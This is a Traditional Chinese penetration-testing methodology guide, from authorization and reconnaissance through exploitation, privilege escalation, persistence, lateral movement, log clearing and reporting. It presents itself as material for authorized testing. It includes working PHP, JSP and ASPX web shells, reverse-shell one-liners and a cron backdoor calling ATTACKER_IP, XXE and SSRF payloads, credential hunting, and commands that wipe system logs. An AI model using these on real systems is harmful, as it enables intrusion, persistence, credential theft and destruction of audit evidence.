# 前期準備階段
## 🎯 階段目標
在進行任何技術操作前,**務必釐清授權、測試範圍與規範**,以確保合法與測試結果有效性。
---
## ✅ 項目清單
- [ ] 確認測試是否取得合法授權(白箱/灰箱/黑箱)
- [ ] 明確列出測試範圍(IP、Domain、子域名、網段)
- [ ] 指定測試期間與工作時程(起訖日期、每日工作時段)
- [ ] 是否允許破壞性測試(如 DoS、社交工程)
- [ ] 明確風險控管機制(如誤觸生產系統的應對方式)
- [ ] 決定測試人員與聯絡窗口
- [ ] 檢查法規與資安政策遵循(如 GDPR、資安責任歸屬)
- [ ] 簽署法律文件:合約(Contract)、保密協議(NDA)
---
## 📄 文件樣板(可另附)
| 文件名稱 | 說明 |
|----------|------|
| 滲透測試合約(Penetration Testing Agreement) | 詳列測試範圍、目標與法律保障 |
| 保密協議 NDA(Non-Disclosure Agreement) | 確保測試中接觸的機敏資料不會外洩 |
| 測試授權書(Authorization Letter) | 明文授權測試者可進行模擬攻擊 |
---
## 🧰 工具與資源
| 工具 | 用途 |
|------|------|
| Google 文件、Word | 撰寫合約草案與協議 |
| PDF簽署工具(DocuSign、Adobe Sign) | 線上簽署與管理測試合約與 NDA |
| 單位內部政策文件 | 確認現行資訊安全政策與例外規範 |
---
## ⚠️ 注意事項
- 🔒 未經授權測試 = 違法入侵行為(可能觸犯刑法或資安法)
- 🚫 即使是灰箱測試,也要界定資訊來源與限制範圍
- 🧯 測試期間應有緊急聯絡窗口(處理誤報、誤觸、宕機)
---
## 📝 建議補充內容
- 測試目的(例如:合規性檢查、紅隊演練、系統安全健檢)
- 報告交付格式與截止時間
- 測試完成後是否需要協助修補與再測
---
# 資訊蒐集(Reconnaissance)
## 🎯 階段目標
蒐集目標的公開資訊,以建立完整攻擊面。資訊來源包含 DNS、Email、IP、子網域、服務標頭等。
---
## 📂 分類工具與任務列表
### 🔸 DNS 查詢與域名分析
| 工具 | 說明 | 常用指令 |
|------|------|----------|
| `nslookup` | 查詢 DNS 記錄 | `nslookup target.com` |
| `dig` | 查詢域名解析資訊(比 nslookup 更彈性) | `dig target.com any`<br>`dig axfr @ns1.target.com target.com`(Zone Transfer) |
| `dnsrecon` | DNS 掃描與記錄蒐集 | `dnsrecon -d target.com -t std`<br>`dnsrecon -d target.com -a`(AXFR 檢查) |
---
### 🔸 Email / Domain 資訊收集
| 工具 | 說明 | 常用指令 |
|------|------|----------|
| `theHarvester` | 從搜尋引擎/資料庫抓取 Email、帳號、子域名 | `theHarvester -d target.com -b google`<br>`theHarvester -d target.com -b all` |
| `hunter.io` | 搜尋域名下的 Email(需註冊) | https://hunter.io 域名搜尋 |
| `emailrep.io` | 查詢 Email 風險(如過往濫用記錄) | `curl https://emailrep.io/example@example.com` |
---
### 🔸 子域名蒐集 / DNS 枚舉
| 工具 | 說明 | 常用指令 |
|------|------|----------|
| `amass` | 強大子域名與關聯資源發掘工具 | `amass enum -d target.com`<br>`amass enum -d target.com -brute -w wordlist.txt` |
| `subfinder` | 輕量快速子域名收集工具(Passive) | `subfinder -d target.com` |
🔧 **進階搭配建議:**
- 將結果導入 `ffuf` 作進一步子域名暴力爆破
- 使用 `httpx` 掃描收集到的子域名存活情況:
`subfinder -d target.com | httpx -status-code -title`
---
### 🔸 搜尋引擎與 OSINT 工具
| 工具 / 技術 | 說明 | 範例查詢語法 |
|-------------|------|----------------|
| **Google Dork** | 利用 Google 搜索語法挖掘目標資源 | `site:target.com filetype:pdf`<br>`site:target.com inurl:admin`<br>`intitle:index.of` |
| **Shodan** | 查詢公開設備與其 port/banner | `org:"Target Corp"`<br>`hostname:"target.com"` |
| **Censys** | 類似 Shodan,可查憑證與服務指紋 | https://search.censys.io |
---
## 📌 額外建議
- 建議將所有收集資料整合為一份資產清單,格式如下:
```text
[Domain] target.com
[IP Range] 1.2.3.0/24
[Subdomains]
- admin.target.com
- mail.target.com
- dev.target.com
[Emails]
- admin@target.com
- john.doe@target.com
```
# 掃描與列舉(Enumeration)
## 🎯 階段目標
找出目標系統對外暴露的服務、應用、CMS,為後續漏洞利用做準備。此階段為「主動」行為,須注意流量與合法性。
---
## 🔸 3.1 服務掃描與 Port 掃描
### 🛠️ 工具:`nmap`
| 功能 | 指令範例 | 備註 |
|------|----------|------|
| 基本掃描 | `nmap target.com` | 掃描預設 1000 個 port |
| 全部 port 掃描 | `nmap -p- target.com` | 掃描 1-65535 所有 port |
| 搭配服務版本分析 | `nmap -sV -sC -T4 target.com` | -sV: 版本識別<br>-sC: 預設腳本 |
| 指定輸出格式 | `nmap -oA output target.com` | 產出 .nmap/.xml/.gnmap |
---
### 🛠️ 工具:`masscan`
| 功能 | 指令範例 | 備註 |
|------|----------|------|
| 高速 port 掃描 | `masscan -p1-65535 target.com --rate=1000` | 扫描速度極快,但無法識別服務版本 |
| 指定特定 port | `masscan -p80,443,22 1.2.3.4/24` | 可對整個網段爆掃 |
---
## 🔸 3.2 Web 探索與目錄爆破
### 🛠️ 工具:`ffuf`
| 功能 | 指令範例 | 備註 |
|------|----------|------|
| 路徑爆破 | `ffuf -u http://target.com/FUZZ -w wordlist.txt` | 替換 `FUZZ` 為字典內容 |
| 搭配後綴 | `ffuf -u http://target.com/FUZZ -w words.txt -e .php,.bak,.zip` | 找備份、程式等文件 |
| 過濾回應碼 | `-fc 404` | 過濾 404 頁面,保留有效頁面 |
| 頁面大小過濾 | `-fs 1234` | 過濾特定大小的頁面(常用於排除錯誤頁) |
---
### 🛠️ 工具:`dirsearch`
| 功能 | 指令範例 | 備註 |
|------|----------|------|
| 基本用法 | `python3 dirsearch.py -u http://target.com -e php,html -x 403,404` | 自動化字典掃描工具 |
| 加快速度 | `-t 50` | 指定 thread 數量 |
---
### 🛠️ 工具:`gobuster`
| 功能 | 指令範例 | 備註 |
|------|----------|------|
| 爆破路徑 | `gobuster dir -u http://target.com -w wordlist.txt` | 精簡快速目錄爆破工具 |
| 加副檔名 | `-x php,html,txt` | 掃描特定副檔名頁面 |
---
## 🔸 3.3 Web 指紋分析與服務辨識
### 🛠️ 工具:`wafw00f`
| 功能 | 指令範例 | 備註 |
|------|----------|------|
| 檢測網站是否有 WAF | `wafw00f http://target.com` | 能辨識常見 WAF (如 Cloudflare, AWS WAF) |
---
### 🛠️ 工具:`httprobe`
| 功能 | 指令範例 | 備註 |
|------|----------|------|
| 檢查子網存活情況 | `cat subdomains.txt | httprobe` | 回傳 status 200/302 的存活網頁 |
---
### 🛠️ 工具:`whatweb`
| 功能 | 指令範例 | 備註 |
|------|----------|------|
| 指紋與框架分析 | `whatweb http://target.com` | 可辨識 Web Server、框架、語言、CMS |
---
## 🔸 3.4 CMS 掃描與弱點識別
### 🛠️ 工具:`wpscan`(WordPress 專用)
| 功能 | 指令範例 | 備註 |
|------|----------|------|
| 基本掃描 | `wpscan --url http://target.com` | 掃描 WordPress 核心、外掛、主題版本 |
| 弱點查詢 | `--api-token YOUR_TOKEN` | 搭配 WPVulnDB API 使用 |
---
### 🛠️ 工具:`joomscan`(Joomla 專用)
| 功能 | 指令範例 | 備註 |
|------|----------|------|
| Joomla 弱點掃描 | `joomscan -u http://target.com` | 基本 Joomla CMS 掃描 |
---
## 📌 小技巧與建議流程
1. 🔎 先用 `nmap`/`masscan` 掃描出開放服務
2. 🌐 對 HTTP/HTTPS 服務使用 `ffuf` 或 `dirsearch` 找出目錄
3. 🧠 使用 `whatweb` + `wafw00f` 判斷技術棧與防禦
4. 🏗️ 若為 CMS,使用對應工具(如 `wpscan`)進行弱點分析
5. 📋 將所有結果記錄在報告中,含回應碼、頁面大小、路徑與指紋資訊
# 漏洞分析(Vulnerability Analysis)
## 🎯 階段目標
根據前一階段列舉出的服務與應用,進行自動化與手動弱點掃描與驗證,找出可利用的漏洞並評估其風險。
---
## 🔸 4.1 自動掃描工具
### 🛠️ ZAP (Zed Attack Proxy)
ZAP 是 OWASP 推出的 Web 弱點掃描工具,支援被動與主動掃描,可搭配瀏覽器 Proxy 模式。
- 啟動 GUI 版:
```
zap.sh
```
- 常見功能:
- 被動掃描:自動分析流量中的弱點(Cookie 安全性、錯誤回應等)
- 主動掃描:針對目標網站進行 SQLi、XSS 等測試
- 使用爬蟲抓取網站頁面並自動發送測試請求
---
### 🛠️ Nikto
Nikto 是 CLI 網站漏洞掃描工具,能發現:
- 危險文件
- 預設目錄
- 伺服器設定錯誤
- 基本掃描:
```
nikto -h http://target.com
```
---
### 🛠️ Nessus
Nessus 是商用弱點掃描工具,支援多平台漏洞掃描(Web、系統、裝置)
- Web UI 操作
- 可排程自動掃描與報告產出
- 檢測數千個已知 CVE 弱點
- 建議搭配帳密登入 Nessus 專業版或社群版
---
### 🛠️ OpenVAS (Greenbone)
- 開源弱點掃描平台
- 支援大量協議(HTTP, SMB, FTP, SSH 等)
- 掃描流程複雜度中等,適合內網大型測試使用
---
## 🔸 4.2 弱點驗證與漏洞資料庫查詢
### 🛠️ Searchsploit
搭配 Exploit-DB 本地資料庫查詢 Exploit 程式碼或 POC。
- 搜尋關鍵字:
```
searchsploit apache 2.4
```
- 顯示 Exploit 路徑:
```
searchsploit -p apache 2.4
```
> Tip: 可搭配 `nmap` 指紋分析結果搜尋版本號進行驗證
---
### 🌐 Exploit-DB
- 網站:https://www.exploit-db.com
- 提供大量 CVE 與公開 Exploit,支援關鍵字、版本、平台查詢
---
### 🛠️ CVE 資訊查詢
- 國際漏洞編號資料庫(Common Vulnerabilities and Exposures)
- 查詢網站:https://cve.mitre.org 或 https://nvd.nist.gov
---
### 🛠️ Metasploit Framework
專業漏洞利用平台,內含大量 exploit、payload、post modules。
- 啟動 msfconsole:
```
msfconsole
```
- 基本流程:
```
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS target_ip
set PAYLOAD cmd/unix/interact
exploit
```
---
## 🔸 4.3 自建 Payload 與自訂漏洞測試
當自動掃描未能涵蓋特殊情境或特殊輸入點時,可自行撰寫請求或腳本測試。
### 範例:手動測試 SQLi
```http
GET /product?id=1' OR '1'='1 HTTP/1.1
Host: target.com
```
### 範例:Python 自訂測試腳本(XSS)
```python
import requests
url = "http://target.com/search"
payload = "<script>alert('xss')</script>"
r = requests.get(url, params={"q": payload})
print(r.text)
```
---
## 📌 小技巧與建議流程
1. 使用 `ZAP` 或 `Nikto` 初步找出明顯弱點
2. 搭配 `nmap -sV` 結果到 `searchsploit` 查找已知漏洞
3. 對已知漏洞進行 `Metasploit` 測試(若存在 exploit)
4. 對特定輸入點進行自訂 payload 測試(例如:自建表單、Header、Cookie)
---
## ⚠️ 注意事項
- 自動化工具可能誤報,需人工驗證
- 請勿在未授權的目標使用漏洞利用模組
- 自建 Payload 測試時避免破壞性指令(如 `rm -rf /`)
- 部分 Web App 存在 WAF,建議搭配 Burp Repeater 手動調整 headers/bypass
---
# 利用(Exploitation)
## 🎯 階段目標
根據已發現的漏洞,實際進行漏洞利用操作以取得系統控制權、敏感資料或登入權限。此階段需謹慎控制範圍,避免造成系統損壞。
---
## 🔸 5.1 SQL Injection 利用
### 🛠️ 工具:`sqlmap`
自動化 SQL Injection 掃描與資料庫利用工具。
- 基本偵測:
```
sqlmap -u "http://target.com/item?id=1" --batch
```
- 指定資料庫列出:
```
sqlmap -u "http://target.com/item?id=1" --dbs
```
- 列出資料表:
```
sqlmap -u "http://target.com/item?id=1" -D target_db --tables
```
- Dump 資料表資料:
```
sqlmap -u "http://target.com/item?id=1" -D target_db -T users --dump
```
- Cookie 參數注入:
```
sqlmap -u "http://target.com/" --cookie="session=abc123" --batch
```
---
## 🔸 5.2 File Upload / Remote Code Execution (RCE)
### 🛠️ 工具:`Burp Repeater`
- 用於測試上傳漏洞、參數繞過、MIME 類型偽造。
- 範例繞過:
- 更改 Content-Type:`image/jpeg` ➜ `application/x-php`
- 增加副檔名繞過:`shell.php.jpg`
### 🛠️ 工具:`curl`
- 送出上傳請求:
```
curl -F "file=@shell.php" http://target.com/upload.php
```
- 呼叫 WebShell:
```
curl http://target.com/uploads/shell.php?cmd=id
```
### 🛠️ 工具:`python3 -m http.server`
- 啟動臨時靜態檔案伺服器,配合目標進行反彈 shell 或下載 exploit:
```
python3 -m http.server 8000
```
---
## 🔸 5.3 建立 WebShell
可利用成功的上傳功能寫入 WebShell。
### 範例 `.php` WebShell:
```php
<?php system($_GET['cmd']); ?>
```
- 呼叫方式:
```
http://target.com/uploads/shell.php?cmd=whoami
```
### 範例 `.jsp` WebShell:
```jsp
<% if(request.getParameter("cmd") != null) {
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
java.io.InputStream in = p.getInputStream();
int a = -1;
while((a=in.read())!=-1) out.print((char)a);
} %>
```
### 範例 `.aspx` WebShell:
```aspx
<%@ Page Language="C#" %>
<%
string cmd = Request["cmd"];
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c " + cmd;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
Response.Write(proc.StandardOutput.ReadToEnd());
%>
```
---
## 🔸 5.4 SSRF / XXE / SSTI 手動驗證
### SSRF(Server Side Request Forgery)
- 測試 payload:
```
http://127.0.0.1:80
http://169.254.169.254/latest/meta-data/
```
- 手動測試參數位置(如 image URL 上傳):
```
POST /fetch
url=http://127.0.0.1:8080/admin
```
### XXE(XML External Entity)
- XXE Payload 範例:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>
<data>&xxe;</data>
</root>
```
- 使用場景:XML 請求處理 API(如 SOAP)
### SSTI(Server-Side Template Injection)
- 常見測試語法(依模板引擎不同而異):
| 模板引擎 | Payload |
|----------|---------|
| Jinja2 (Python) | `{{7*7}}` → 回傳 49 |
| Twig (PHP) | `{{7*7}}` |
| Velocity | `#set($x=7*7) $x` |
- 插入位置:URL 參數、表單欄位、Header(如 User-Agent)
---
## 📌 小技巧與建議流程
1. 若可疑點為輸入欄位,先用 `Burp` 或 `curl` 嘗試注入 payload
2. 若成功上傳 WebShell,利用 `curl` 或瀏覽器控制 shell
3. 對於需繞過檢查的參數,進行 MIME 類型繞過或雙副檔名技巧
4. 使用反向連線搭配 `nc` 或 `python -c` 回傳 shell
---
## ⚠️ 注意事項
- WebShell 或 RCE 操作具破壞性,應控制在授權範圍內使用
- SSRF 與 XXE 攻擊若可影響內網,應評估橫向風險
- 請對 Payload 加以編碼處理避免被 WAF 阻擋
---
# 權限提升(Privilege Escalation)
## 🎯 階段目標
當成功取得一般使用者權限後,透過本地漏洞、錯誤設定、憑證暴露等方式,提升為更高權限(如 root 或系統管理員)。
---
## 🔸 6.1 本機漏洞檢查工具
### 🛠️ linux-exploit-suggester
Linux 權限提升漏洞建議工具,根據系統版本判斷可能可用的提權漏洞。
- 使用方式:
```
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
```
- 可列出可利用的 kernel 漏洞、建議 exploit 模組。
---
### 🛠️ winPEAS
Windows 權限提升資訊收集工具(PowerShell/EXE 版本皆有)。
- 使用方式(在目標主機執行):
```
.\winPEASx64.exe
```
- 掃描內容包括:
- 安裝的軟體與版本
- 自動執行程式(AutoRuns)
- Weak Service Permission
- Credential / Token / PATH Hijacking
---
## 🔸 6.2 錯誤設定提權(Misconfiguration)
### 🛠️ sudo 權限提權
- 檢查可執行指令:
```
sudo -l
```
- 若出現無密碼執行某指令,可參考 `GTFOBins` 利用該程式提權:
範例:
```
sudo /usr/bin/python3 -c 'import os; os.system("/bin/bash")'
```
### 🛠️ Cron Job Injection
- 檢查定時任務排程:
```
cat /etc/crontab
ls -l /etc/cron.*
```
- 若某排程執行路徑可寫入,即可插入惡意命令執行 root 權限程式。
### 🛠️ setuid 權限程式
- 搜尋擁有 setuid 權限的檔案:
```
find / -perm -4000 -type f 2>/dev/null
```
- 常見可被濫用的程式(參考 `GTFOBins`):
- `/usr/bin/vim`
- `/usr/bin/nmap`
- `/usr/bin/find`
---
## 🔸 6.3 密碼重用與憑證搜查
### 🔍 搜尋 PEM 憑證或私鑰
- 搜尋所有 `.pem` 檔案:
```
find / -name "*.pem" 2>/dev/null
```
- 若找到 `.pem`,可搭配 `ssh` 嘗試登入:
```
ssh -i id_rsa user@localhost
```
### 🔍 搜尋敏感關鍵字(如密碼)
- 搜尋含有 "password" 關鍵字的文字檔:
```
grep -r "password" /home 2>/dev/null
```
- 檢查 `.bash_history`、`.mysql_history` 等歷史記錄檔:
```
cat ~/.bash_history
cat ~/.mysql_history
```
---
## 📌 小技巧與建議流程
1. 登入目標主機後,第一步先檢查 `sudo -l` 權限與 `whoami`
2. 收集系統版本資訊(`uname -a`, `cat /etc/*release*`),搭配 `linux-exploit-suggester` 驗證
3. 檢查可寫入路徑與可執行程式(如定時任務、setuid)
4. 搜索機敏檔案(如憑證、設定檔、密碼明文)
---
## ⚠️ 注意事項
- 提權操作風險高,應在實驗或授權環境中操作
- 使用 `sudo -l` 發現可執行指令時,需比對版本與 `GTFOBins` 中可利用的提權方法
- 搜尋敏感資訊時應避免大規模誤刪或誤執行命令
---
# 維持存取(Persistence)
## 🎯 階段目標
在取得目標系統控制權後,建立持久性的存取方式,以便在後續持續訪問系統,不需重新入侵。此階段僅建議於授權紅隊演練或特定滲透測試範圍中進行。
---
## 🔸 7.1 加入 SSH 公鑰
可將攻擊者的公鑰寫入目標使用者的 `~/.ssh/authorized_keys` 中,以便未來免密碼登入。
### 步驟:
1. 確保目標使用者目錄中存在 `.ssh` 資料夾:
```
mkdir -p ~/.ssh
chmod 700 ~/.ssh
```
2. 將攻擊者的公鑰寫入:
```
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC..." >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
```
3. 測試登入(從攻擊端):
```
ssh -i id_rsa user@target_ip
```
---
## 🔸 7.2 建立反彈 shell cronjob
利用目標主機上的排程任務(cron)定期執行反彈連線指令。
### 建立 cronjob:
1. 編輯 crontab:
```
crontab -e
```
2. 加入以下內容(每分鐘執行一次):
```cron
* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'
```
3. 攻擊端使用 netcat 等待連線:
```
nc -lvnp PORT
```
---
## 🔸 7.3 使用 netcat/socat 維持存取
### 🛠️ netcat(nc)
建立反彈 shell:
```bash
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
```
目標主機端執行上述指令,攻擊端使用:
```bash
nc -lvnp PORT
```
### 🛠️ socat
反向連線方式(雙向傳輸更穩定):
#### 攻擊端監聽:
```bash
socat TCP-LISTEN:PORT,reuseaddr,fork EXEC:/bin/bash
```
#### 目標主機反彈連線:
```bash
socat TCP:ATTACKER_IP:PORT EXEC:/bin/bash
```
---
## 📌 小技巧與建議流程
- 使用 `~/.ssh/authorized_keys` 是最穩定的持久存取方式
- 建議結合自動化反彈 shell(cronjob)以應對系統重啟
- 搭配 `nohup`, `& disown`, `screen` 或 `tmux` 可讓 shell 在背景長時間運作
- 若可持續存取,可於提權後將所有持久機制設為 root 層級
---
## ⚠️ 注意事項
- 僅應於紅隊或合法授權範圍中使用,切勿於實際環境建立後門
- cronjob 可能被系統監控工具發現,建議設定合理排程或加密 payload
- 維持存取可能違反合約條款,請與客戶確認是否允許此階段行為
---
# 橫向移動(Lateral Movement)
## 🎯 階段目標
在成功取得一台主機的控制權後,進一步探索與入侵同一內網中的其他設備與資源,擴大影響範圍。此階段常用於紅隊演練、企業內網滲透。
---
## 🔸 8.1 使用工具進行內部資源存取
### 🛠️ smbclient
列出 SMB 分享資料夾與內容:
- 列出共享:
```
smbclient -L //target_ip -U guest
```
- 連接共享:
```
smbclient //target_ip/share_name -U guest
```
- 下載檔案:
```
get filename.txt
```
---
### 🛠️ rpcclient
查詢 Windows 系統上的 RPC 資訊:
- 建立連線:
```
rpcclient -U "" target_ip
```
- 查詢帳號與群組:
```
enumdomusers
enumalsgroups builtin
queryuser RID
```
---
### 🛠️ crackmapexec(CME)
整合性內網橫移工具,支援 SMB、WinRM、RDP、LDAP 等協定。
- 掃描 SMB 資訊:
```
crackmapexec smb 192.168.1.0/24
```
- 驗證帳密(或 hash):
```
crackmapexec smb 192.168.1.0/24 -u admin -p password123
```
- 查看登入使用者:
```
crackmapexec smb 192.168.1.0/24 -u user -p pass --users
```
---
### 🛠️ BloodHound
用於收集與分析 Active Directory 中的權限與圖譜關係,進行攻擊路徑分析。
#### 資料收集工具(SharpHound):
- Windows 系統執行:
```
SharpHound.exe -c All
```
#### 分析工具:
- 將結果匯入 BloodHound GUI 應用程式,透過圖形化介面分析:
- 找出可用的提權路徑(如 AdminTo, HasSession, GenericWrite 等)
- 視覺化權限關係圖與攻擊路徑建議
---
## 🔸 8.2 掃描內網裝置與存活主機
### 🛠️ nmap ping 掃描
- 掃描整個內網的存活主機:
```
nmap -sP 192.168.1.0/24
```
---
### 🛠️ arp-scan
- 掃描區網 ARP 對應(需在 LAN 環境):
```
arp-scan --interface=eth0 192.168.1.0/24
```
---
### 🛠️ ping sweep(Linux 簡易腳本)
```bash
for ip in $(seq 1 254); do
ping -c 1 192.168.1.$ip | grep "64 bytes" &
done
```
---
## 🔸 8.3 Kerberos 攻擊技術
### 🛠️ impacket 工具集
#### GetNPUsers(AS-REP Roasting):
- 無需登入即可暴力破解弱密碼帳號(需設定 DONT_REQUIRE_PREAUTH):
```
GetNPUsers.py DOMAIN/ -no-pass -usersfile users.txt -dc-ip x.x.x.x
```
#### secretsdump(從機器中提取帳密 hash):
```
secretsdump.py DOMAIN/user:pass@target_ip
```
---
### 🛠️ kerbrute
暴力破解 Kerberos 使用者名稱(用於獲得 AS-REP 攻擊對象):
- 使用方式:
```
kerbrute userenum --dc target_ip -d domain.local users.txt
```
---
### 🛠️ Rubeus
適用於 Windows 環境的 Kerberos 攻擊工具。
- TGT/Dumping/Overpass-the-Hash/AS-REP/Golden Ticket
範例 - 執行 AS-REP Roasting:
```
Rubeus.exe asreproast
```
---
## 📌 小技巧與建議流程
1. 取得初始機器控制權後先探索內網(nmap、arp-scan)
2. 利用 smbclient / rpcclient / CME 查找可利用資源與帳號
3. 若目標為 AD 環境,使用 BloodHound 視覺化攻擊路徑
4. 對 Kerberos 進行帳號暴力破解與票證導出分析
5. 搭配 `mimikatz`、`impacket` 進行 hash 轉換與橫移
---
## ⚠️ 注意事項
- 在內網環境操作請控制頻率與封包量,避免觸發 SIEM 警示
- Kerberos 票證攻擊需確認目標 AD 設定允許(如未開啟預認證)
- 建議於測試環境實作完整流程,熟悉攻擊鏈工具搭配
---
# 清除痕跡(Covering Tracks)
## 🎯 階段目標
在完成任務後,刪除操作紀錄與工具痕跡,以避免被系統管理者發現滲透行為。此階段僅適用於紅隊演練或特定授權測試,**嚴禁用於未經授權的非法行為**。
---
## 🔸 9.1 一般操作歷史清除
### 🛠️ 清除 shell 操作紀錄
- 清除目前 session 的 history 記錄:
```
history -c
```
- 清除 history 檔案內容:
```
cat /dev/null > ~/.bash_history
```
- 停用歷史紀錄暫存:
```
unset HISTFILE
```
- 立即關閉 session 以防止歷史自動寫入:
```
exit
```
---
## 🔸 9.2 刪除工具與檔案
- 刪除上傳工具(如 exploit 腳本、webshell):
```
rm -f /tmp/exploit.py
rm -f /var/www/html/shell.php
```
- 移除反彈 shell 排程:
```
crontab -r
```
- 刪除攻擊者加入的 SSH 公鑰:
```
rm ~/.ssh/authorized_keys
```
---
## 🔸 9.3 系統日誌清除
### 🛠️ 常見日誌檔案(Linux):
| 檔案路徑 | 說明 |
|----------|------|
| `/var/log/auth.log` | 登入與 sudo 操作紀錄 |
| `/var/log/syslog` | 系統綜合日誌 |
| `/var/log/messages` | 系統核心與一般事件 |
| `/var/log/secure` | RedHat/CentOS 系統安全紀錄 |
| `~/.bash_history` | 使用者的命令歷史紀錄 |
### 🧨 清除方法(需 root 權限):
- 使用 `echo` 或 `truncate`:
```
echo "" > /var/log/auth.log
truncate -s 0 /var/log/syslog
```
- 遍歷並清空所有 log 檔:
```
find /var/log -type f -exec truncate -s 0 {} \;
```
---
## 🔸 9.4 進階痕跡移除技巧
- 刪除 shell 快取與 session 資料夾:
```
rm -rf /root/.cache
rm -rf /tmp/*
```
- 覆寫檔案刪除(防止復原):
```
shred -u sensitive_file.txt
```
---
## ⚠️ 注意事項
- 清除痕跡行為具備高度敏感性,應僅於 **授權紅隊演練或合法測試** 中操作
- 刪除系統 log 可能觸發監控機制(如 SIEM),需謹慎操作
- 某些系統設有 immutable 屬性(如 AIDE、auditd),可能無法直接刪除 log
---
## 📌 小技巧與建議流程
1. 測試完成後立即清除敏感 payload 與腳本
2. 關閉 bash history 並覆寫歷史檔案
3. 定期檢查是否殘留攻擊工具與後門程式
4. 使用 `find` 或 `lsof` 搜索可疑檔案與開啟連線狀態
---
# 報告撰寫(Reporting)
## 🎯 階段目標
將滲透測試過程中發現的漏洞、攻擊流程、風險等資訊整理成報告,提供給管理單位進行風險評估與修補。報告應具備技術清晰度與管理層可理解性。
---
## 🔸 10.1 報告內容結構
### 📌 報告應包含以下項目:
1. **封面與說明**
- 專案名稱
- 測試期間與範圍
- 測試團隊聯絡資訊
2. **摘要**
- 測試目的
- 總體風險概況
- 發現項目統計(依風險等級分類)
3. **測試方法**
- 測試工具與技術說明(如:nmap、sqlmap、Burp)
- 測試類型(黑箱、灰箱、白箱)
4. **漏洞細節(逐項列出)**
- 漏洞名稱
- 嚴重程度(可用 CVSS v3 評分)
- CVE 編號(若有)
- 攻擊步驟(含實際 payload 與命令)
- 螢幕截圖或 log 證據
- 潛在影響
- 修補建議
5. **結論與建議**
- 高風險項目優先修補清單
- 政策建議(如強化 WAF、密碼策略、權限控管)
- 是否需進行重新測試驗證
---
## 🔸 10.2 常用格式與工具
### 🖋️ 撰寫格式
- 建議使用 **Markdown** 撰寫,搭配版本控管(如 Git)
- 輸出成 **PDF** 格式以供正式交付
### 📁 工具推薦
| 工具 | 用途 |
|------|------|
| VS Code / Obsidian | Markdown 編輯 |
| Pandoc | Markdown 轉 PDF |
| Typora | WYSIWYG Markdown 編輯與匯出 PDF |
| GitBook / HackMD | 線上協作與產出文件 |
---
## 🔸 10.3 CVSS 嚴重程度分級標準(v3)
| CVSS 分數 | 嚴重程度等級 |
|-----------|--------------|
| 0.0 | 無風險 |
| 0.1 – 3.9 | 低(Low) |
| 4.0 – 6.9 | 中(Medium) |
| 7.0 – 8.9 | 高(High) |
| 9.0 – 10.0 | 危急(Critical) |
CVSS 計分工具:
- https://www.first.org/cvss/calculator/3.1
---
## 🔸 10.4 漏洞報告範例模板(Markdown)
```markdown
## 漏洞名稱:SQL Injection
- **目標系統**:http://target.com/item?id=
- **嚴重程度**:高(CVSS 8.1)
- **CVE 編號**:CVE-2021-44228(如有)
- **影響描述**:
攻擊者可透過注入 SQL 指令查詢資料庫、取得帳號密碼,或進行未授權資料修改。
### 攻擊步驟:
1. 使用 Burp 攔截請求,將參數變更為 `' OR 1=1--`
2. 使用 sqlmap 自動化確認並導出資料:
```
sqlmap -u "http://target.com/item?id=1" --dump
```
3. 成功取得帳號清單與密碼 hash
### 證據截圖:
(插入截圖或 log 段落)
### 修補建議:
- 使用預備語句(Prepared Statements)避免 SQL 注入
- 避免拼接未驗證的輸入
- 對所有輸入資料進行嚴格檢查與過濾
```
---
## 📌 小技巧與建議流程
1. 每次測試過程即時記錄操作命令與觀察結果
2. 避免過度技術術語,需讓非技術管理者可理解
3. 提出「可執行」的修補建議,非僅描述問題
4. 可將報告區分為「技術版」與「管理摘要版」
---
## ⚠️ 注意事項
- 報告應經雙重確認,避免誤報與遺漏
- 請勿在報告中公開敏感資料(如密碼明文)
- 圖片需遮蔽使用者個資與敏感系統名稱
- 若為合規測試(如 ISO 27001、PCI-DSS),需對應合規項目
---